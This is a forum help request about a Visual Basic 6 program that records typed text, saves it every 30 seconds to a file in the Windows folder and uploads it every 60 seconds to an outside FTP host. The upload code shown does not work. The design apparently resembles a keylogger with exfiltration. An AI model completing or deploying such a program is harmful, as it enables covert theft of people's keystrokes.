VISUAL BASIC 6
SO Basically, I made a program that SHOULD...
When I type anything it goes onto a label in my form (I write php stuff)
Every 30ish seconds it saves what is written in the form onto a text file
And every 60 seconds it uploads that text file to my ftp. (I'm using t35.com)
Now, almost everything works. The part that doesn't work is the uploading the .txt to my ftp.
I have a inet on my form. These are the properties on my inet.
(Name) = Inet1
Password = "My Password"
Protocol = icFTP
Remote Host = ftp.t35.com
Remote Port = 21
Username = "My Username".t35.com
My URL = ftp://"My Username".t35.com:"My Password"@ftp.t35.com
And the code in my timer, named Timer3, is
It doesn't work...Code:Private Sub Timer3_Timer() On Error Resume Next Inet1.Execute , "PUT C:\windows\phpness.txt /" & DateTime.Date & ".txt" End Sub
Help? =D




Reply With Quote